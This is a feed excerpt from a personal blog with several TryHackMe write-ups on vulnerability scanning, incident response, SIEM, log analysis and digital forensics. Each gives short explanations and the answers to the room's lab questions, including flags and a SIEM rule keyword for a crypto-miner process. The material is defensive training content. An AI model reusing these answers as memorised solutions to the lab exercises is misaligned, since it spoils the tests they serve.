&lt;p&gt;Which type of vulnerability scan focuses on identifying the vulnerabilities that can be exploited from outside the network?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;External&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Tools for Vulnerability Scanning&lt;/h2&gt;
&lt;p&gt;Here&apos;s some of widely used vulnerability scanners.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nessus&lt;/strong&gt;: It is a proprietary software with extensive vulnerability scanning options, widely used by large enterprises. Nessus needs to be deployed and managed on-premises.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Qualys&lt;/strong&gt;: A subscription-based vulnerability management solution. The best thing about Qualys is that it is a cloud-based platform.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nexpose&lt;/strong&gt;: A subscription-based solution that continuously discovers new assets and performs vulnerability scans. It offers both on-premises and hybrid deployment modes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenVAS&lt;/strong&gt;: An open-source vulnerability assessment solution that offers basic features. It is beneficial for small organizations and individual systems.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Almost all vulnerability scanners offer reporting capabilities. They generate a detailed report after every scan containing a list of the vulnerabilities discovered, their risk scores, and detailed descriptions. When choosing a suitable scanner, you must consider the scope, resources, and depth of analysis.&lt;/p&gt;
&lt;p&gt;Is Nessus currently an open-source vulnerability scanner? (Yea/Nay)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nay&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which company developed the Nexpose vulnerability scanner?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rapid7&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the name of the open-source vulnerability scanner developed by Greenbone Security?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenVAS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: CVE &amp;#x26; CVSS&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CVE (Common Vulnerabilities and Exposures)&lt;/strong&gt; is a unique number given to vulnerabilities. Whenever a new vulnerability is discovered in any software application, it is given a unique CVE number as a reference and published online in a CVE database. A CVE number has the prefix “CVE”, the year it was discovered, and four or more arbitrary digits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVSS (Common Vulnerability Scoring System)&lt;/strong&gt; is a score that tells the severity of a vulnerability. The CVSS score is calculated by considering multiple factors, including its impact and ease of exploitability. The severity levels as per the CVSS scores are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Low&lt;/strong&gt;: 0.0-3.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Medium&lt;/strong&gt;: 4.0-6.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High&lt;/strong&gt;: 7.0-8.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Critical&lt;/strong&gt;: 9.0-10&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE stands for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Common Vulnerabilities and Exposures&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which organization developed CVE?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;MITRE Corporation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What would be the severity level of the vulnerability with a score of 5.3?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Medium&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: OpenVAS&lt;/h2&gt;
&lt;p&gt;OpenVAS is a complete open-source vulnerability scanner.&lt;/p&gt;
&lt;p&gt;What is the IP address of the machine scanned in this task?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10.10.154.44&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How many vulnerabilities were discovered on this host?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;13&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Practical Exercise&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CW1-U7l0_USfb6.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the score of the single high-severity vulnerability found in the scan?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the solution suggested by OpenVAS for this vulnerability?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Change the password of the mentioned account(s).&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.Cd9E1pw8.png"/><enclosure url="/_astro/image.Cd9E1pw8.png"/></item><item><title>Incident Response Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/incident-response-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/incident-response-fundamentals-tryhackme-write-up/</guid><description>Learn about digital forensics and related processes and experiment with a practical example.</description><pubDate>Sat, 27 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/digitalforensicsfundamentals&quot;&gt;Digital Forensics Fundamentals&lt;/a&gt; (Premium Room), learn about digital forensics and related processes and experiment with a practical example. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction to Incident Response&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Incident Response&lt;/strong&gt; handles an incident from its start to end. From deploying security in several areas to prevent incidents to fighting with them and minimizing their impact, incident response is a thorough guideline.&lt;/p&gt;
&lt;h3&gt;Learning Objectives&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Overview of what are incidents and their severity levels&lt;/li&gt;
&lt;li&gt;Common types of incidents&lt;/li&gt;
&lt;li&gt;Phases of Incident Response from SANS and NIST Frameworks&lt;/li&gt;
&lt;li&gt;Tools for Incident Detection and Response along with the role of PlayBooks&lt;/li&gt;
&lt;li&gt;Incident Response Plan&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Room Pre-Requisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/r/room/defensivesecurityintro&quot;&gt;Intro to Defensive Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click me to proceed to the next task.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: What are Incidents?&lt;/h2&gt;
&lt;p&gt;The security team analyzes these alerts.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;False positives&lt;/strong&gt; are alerts that point to something dangerous but are not harmful.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;True positives&lt;/strong&gt; are alerts that point to something harmful and are actually dangerous.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What is triggered after an event or group of events point at a harmful activity?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alert
If a security solution correctly identifies a harmful activity from a set of events, what type of alert is it?
true positive&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If a fire alarm is triggered by smoke after cooking, is it a true positive or a false positive?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;false positive&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Types of Incidents&lt;/h2&gt;
&lt;p&gt;A short summary of the text is provided below.&lt;/p&gt;
&lt;h2&gt;Types of Security Incidents&lt;/h2&gt;
&lt;p&gt;There are several types of security incidents that can occur independently or altogether within the same victim. These incidents include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malware Infections&lt;/li&gt;
&lt;li&gt;Security Breaches&lt;/li&gt;
&lt;li&gt;Data Leaks&lt;/li&gt;
&lt;li&gt;Insider Attacks&lt;/li&gt;
&lt;li&gt;Denial Of Service (DoS) Attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A user&apos;s system got compromised after downloading a file attachment from an email. What type of incident is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;malware infection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What type of incident aims to disrupt the availability of an application?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Denial of service&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Incident Response Process&lt;/h2&gt;
&lt;p&gt;Incident Response Frameworks are the generic approaches to follow in any incident for effective response. The two widely used incident response frameworks are &lt;strong&gt;SANS&lt;/strong&gt; and &lt;strong&gt;NIST&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DuwPGEFX_8Ns81.webp&quot; alt=&quot;credit: THM&quot;&gt;&lt;/p&gt;
&lt;p&gt;The SANS incident Response framework has 6 phases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Preparation:&lt;/strong&gt; Building the necessary resources to handle an incident.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identification:&lt;/strong&gt; Looking for any abnormal behavior that may indicate an incident.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Containment:&lt;/strong&gt; Minimizing the impact of the attack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eradication:&lt;/strong&gt; Removing the threat from the attacked environment.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recovery:&lt;/strong&gt; Recovering the affected systems from backup or rebuilding them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lessons Learned:&lt;/strong&gt; Gaps in the detection and analysis of the incident are identified and documented.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Security team disables a machine&apos;s internet connection after an incident. Which phase of the SANS IR lifecycle is followed here?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;containment&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which phase of NIST corresponds with the lessons learned phase of the SANS IR lifecycle?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Post Incident Activity&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Incident Response Techniques&lt;/h2&gt;
&lt;p&gt;There are multiple security solutions that serve unique roles in detecting incidents.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SIEM&lt;/strong&gt;: Collects important logs in one centralized location and correlates them to identify incidents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AV&lt;/strong&gt;: Antivirus detects known malicious programs in a system and regularly scans system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EDR&lt;/strong&gt;: Endpoint Detection and Response is deployed on every system, protecting it against some advanced-level threats and can also contain and eradicate the threat.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Playbooks&lt;/strong&gt; are the guidelines for a comprehensive incident response and provide step-by-step instructions to deal with each kind of incident.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Runbooks&lt;/strong&gt;, on the other hand, are the detailed, step-by-step execution of specific steps during different incidents.&lt;/p&gt;
&lt;p&gt;Step-by-step comprehensive guidelines for incident response are known as?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Playbooks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Lab Work Incident Response&lt;/h2&gt;
&lt;p&gt;Click on the View Site button below to display the lab on the right side of the screen.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.BjV8_58M_1o4ngJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What was the name of the malicious email sender?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jeff Johnson&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What was the threat vector?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Email Attachment&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CVUEJr7S_Z10kYKn.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;How many devices downloaded the email attachment?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How many devices executed the file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BlzzNwAK_1a6S8O.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the flag found at the end of the exercise?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{__________________________}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Conclusion&lt;/h2&gt;
&lt;p&gt;Complete the room.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image4.BMgCF1zM.png"/><enclosure url="/_astro/image4.BMgCF1zM.png"/></item><item><title>Introduction to SIEM | TryHackMe Write-Up</title><link>https://farros.co/blog/introduction-to-siem-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/introduction-to-siem-tryhackme-write-up/</guid><description>An introduction to Security Information and Event Management.</description><pubDate>Sat, 27 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/logsfundamentals&quot;&gt;Introduction to SIEM&lt;/a&gt;, an introduction to Security Information and Event Management. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;SIEM stands for Security Information and Event Management system. It is a tool that collects data from various endpoints/network devices across the network, stores them at a centralized place, and performs correlation on them.&lt;/p&gt;
&lt;p&gt;What does SIEM stand for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Security Information and Event Management system&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Network Visibility through SIEM&lt;/h2&gt;
&lt;p&gt;Network log sources can be divided into two logical parts: Host-Centric Log Sources and Network-Centric Log Sources.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Host-Centric Log Sources&lt;/strong&gt; capture events that occurred within or related to the host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network-Centric Log Sources&lt;/strong&gt; are generated when the hosts communicate with each other or access the internet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some key features provided by SIEM are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Real-time log Ingestion&lt;/li&gt;
&lt;li&gt;Alerting against abnormal activities&lt;/li&gt;
&lt;li&gt;24/7 Monitoring and visibility&lt;/li&gt;
&lt;li&gt;Ability to investigate past incidents&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Is Registry-related activity host-centric or network-centric?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;host-centric&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Is VPN related activity host-centric or network-centric?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;network-centric&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Log Sources and Log Ingestion&lt;/h2&gt;
&lt;h3&gt;Common Devices&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Machine&lt;/strong&gt;: Windows records that can be viewed through the &lt;strong&gt;Event Viewer&lt;/strong&gt; utility.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux Workstation&lt;/strong&gt;: Linux OS stores related logs in common locations such as &lt;code&gt;/var/log/httpd&lt;/code&gt;, &lt;code&gt;/var/log/auth.log&lt;/code&gt;, and &lt;code&gt;/var/log/kern&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Server&lt;/strong&gt;: It is important to keep an eye on all the requests/responses coming in and out of the webserver.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Log Ingestion&lt;/h3&gt;
&lt;p&gt;Some common methods used by SIEM solutions for ingesting logs are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Agent / Forwarder&lt;/li&gt;
&lt;li&gt;Syslog&lt;/li&gt;
&lt;li&gt;Manual Upload&lt;/li&gt;
&lt;li&gt;Port-Forwarding&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In which location within a Linux environment are HTTP logs stored?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/var/log/httpd&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Why SIEM&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DpS2Mi4X_1gv7tt.webp&quot; alt=&quot;credit: THM&quot;&gt;&lt;/p&gt;
&lt;p&gt;Read the task above.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Analysing Logs and Alerts&lt;/h2&gt;
&lt;p&gt;Which Event ID is generated when event logs are removed?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;104&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What type of alert may require tuning?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;False Alarm&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Lab Work&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.EY6XnYl6_1Hv8FO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.C08e-ZMa_1A9vXh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click on Start Suspicious Activity, which process caused the alert?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cudominer.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;image%20copy.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Find the event that caused the alert, which user was responsible for the process execution?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;chris.fort&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the hostname of the suspect user?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HR_02&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Examine the rule and the suspicious process; which term matched the rule that caused the alert?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;miner&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the best option that represents the event? Choose from the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;False-Positive&lt;/li&gt;
&lt;li&gt;True-Positive&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;True-Positive&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.ZbS3NpJ5_Z1rCniR.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Selecting the right ACTION will display the FLAG. What is the FLAG?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{000_SIEM_INTRO}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Conclusion&lt;/h2&gt;
&lt;p&gt;Complete this room.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.rW7iFJXY.png"/><enclosure url="/_astro/image.rW7iFJXY.png"/></item><item><title>Logs Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/logs-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/logs-fundamentals-tryhackme-write-up/</guid><description>Learn what logs are and how to analyze them for effective investigation.</description><pubDate>Sat, 27 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/logsfundamentals&quot;&gt;Logs Fundamentals&lt;/a&gt; (Premium Room), learn what logs are and how to analyze them for effective investigation. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction to Logs&lt;/h2&gt;
&lt;p&gt;Logs are the digital footprints left behind by any activity. Tracing down the activity and the individual behind the execution of that activity becomes easier through logs.&lt;/p&gt;
&lt;p&gt;Logs play an integral role in several key areas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Security Events Monitoring&lt;/li&gt;
&lt;li&gt;Incident Investigation and Forensics&lt;/li&gt;
&lt;li&gt;Troubleshooting&lt;/li&gt;
&lt;li&gt;Performance Monitoring&lt;/li&gt;
&lt;li&gt;Auditing and Compliance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Where can we find the majority of attack traces in a digital system?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;logs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Types of Logs&lt;/h2&gt;
&lt;p&gt;Logs are segregated into multiple categories according to the type of information they provide, so you just need to look into the specific log file for which the issue relates.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;System Logs:&lt;/strong&gt; Helpful in troubleshooting running issues in the OS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Logs:&lt;/strong&gt; Help detect and investigate security-related incidents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Application Logs:&lt;/strong&gt; Contain specific events related to an application.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit Logs:&lt;/strong&gt; Provide detailed information on system changes and user events.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Logs:&lt;/strong&gt; Provide information on the network’s outgoing and incoming traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access Logs:&lt;/strong&gt; Provide detailed information about access to different resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which type of logs contain information regarding the incoming and outgoing traffic in the network?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Network Logs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which type of logs contain the authentication and authorization events?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Security Logs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Windows Event Logs Analysis&lt;/h2&gt;
&lt;p&gt;Windows OS logs many activities in log files. Some crucial types of logs are &lt;strong&gt;Application&lt;/strong&gt;, &lt;strong&gt;System&lt;/strong&gt;, and &lt;strong&gt;Security&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Based on the table of important Event IDs from the previous task, the event we are looking for is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Event ID 4720: A user account was created.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CxYzK64U_EKPiv.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.B78T9gaI_135cCD.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the name of the last user account created on this system?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hacked&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.Zldp_iDV_S3w1s.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Which user account created the above account?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;administrator&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On what date was this user account enabled? Format: M/D/YYYY&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;6/7/2024&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Based on the information from the previous task, the relevant Event ID is:
Event ID 4724: An attempt was made to reset an account’s password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.GtGYgyNY_Z2sit57.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Did this account undergo a password reset as well? Format: Yes/No&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;yes&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Web Server Access Logs Analysis&lt;/h2&gt;
&lt;p&gt;All requests we make to a website are logged and stored in a log file on the web server. This log file contains all the requests made to the website along with information such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP Address&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Timestamp&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request&lt;/strong&gt; (HTTP Method, URL, Status Code)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User-Agent&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can perform manual log analysis by using some command line utilities in the Linux operating system.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/strong&gt;: for displaying the contents of a text file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep&lt;/code&gt;&lt;/strong&gt;: allows us to search for strings and patterns inside a log file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;less&lt;/code&gt;&lt;/strong&gt;: handling multiple log files and helps us view one page at a time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;10.0.0.1 - - [06/Jun/2024:13:54:44] &quot;GET /contact HTTP/1.1&quot; 500 &quot;-&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What is the IP which made the last GET request to URL: “/contact”?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10.0.0.1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When was the last POST request made by IP: “172.16.0.1”?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;06/Jun/2024:13:55:44&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Based on the answer from question number 2, to which URL was the POST request made?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/contact&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Conclusion&lt;/h2&gt;
&lt;p&gt;Complete the room.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BjZ0DADK.png"/><enclosure url="/_astro/image.BjZ0DADK.png"/></item><item><title>Digital Forensics Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/digital-forensics-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/digital-forensics-fundamentals-tryhackme-write-up/</guid><description>Learn about digital forensics and related processes and experiment with a practical example.</description><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/digitalforensicsfundamentals&quot;&gt;Digital Forensics Fundamentals&lt;/a&gt; (Premium Room), learn about digital forensics and related processes and experiment with a practical example. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction to Digital Forensics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Forensics&lt;/strong&gt; is the application of methods and procedures to investigate and solve crimes. The branch of forensics that investigates cyber crimes is known as &lt;strong&gt;digital forensics&lt;/strong&gt;. Cyber crime is any criminal activity conducted on or using a digital device.&lt;/p&gt;
&lt;p&gt;Digital forensics teams follow procedures for collecting, storing, analyzing, and reporting evidence.&lt;/p&gt;
&lt;p&gt;Which team was handed the case by law enforcement?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;digital forensics&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Digital Forensics Methodology&lt;/h2&gt;
&lt;p&gt;NIST defines a process of digital forensics in four phases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Collection&lt;/li&gt;
&lt;li&gt;Examination&lt;/li&gt;
&lt;li&gt;Analysis&lt;/li&gt;
&lt;li&gt;Reporting&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.4brIyco6_Z1KegY9.webp&quot; alt=&quot;credit: THM&quot;&gt;&lt;/p&gt;
&lt;p&gt;Which phase of digital forensics is concerned with correlating the collected data to draw any conclusions from it?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Analysis&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which phase of digital forensics is concerned with extracting the data of interest from the collected evidence?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Examination&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Evidence Acquisition&lt;/h2&gt;
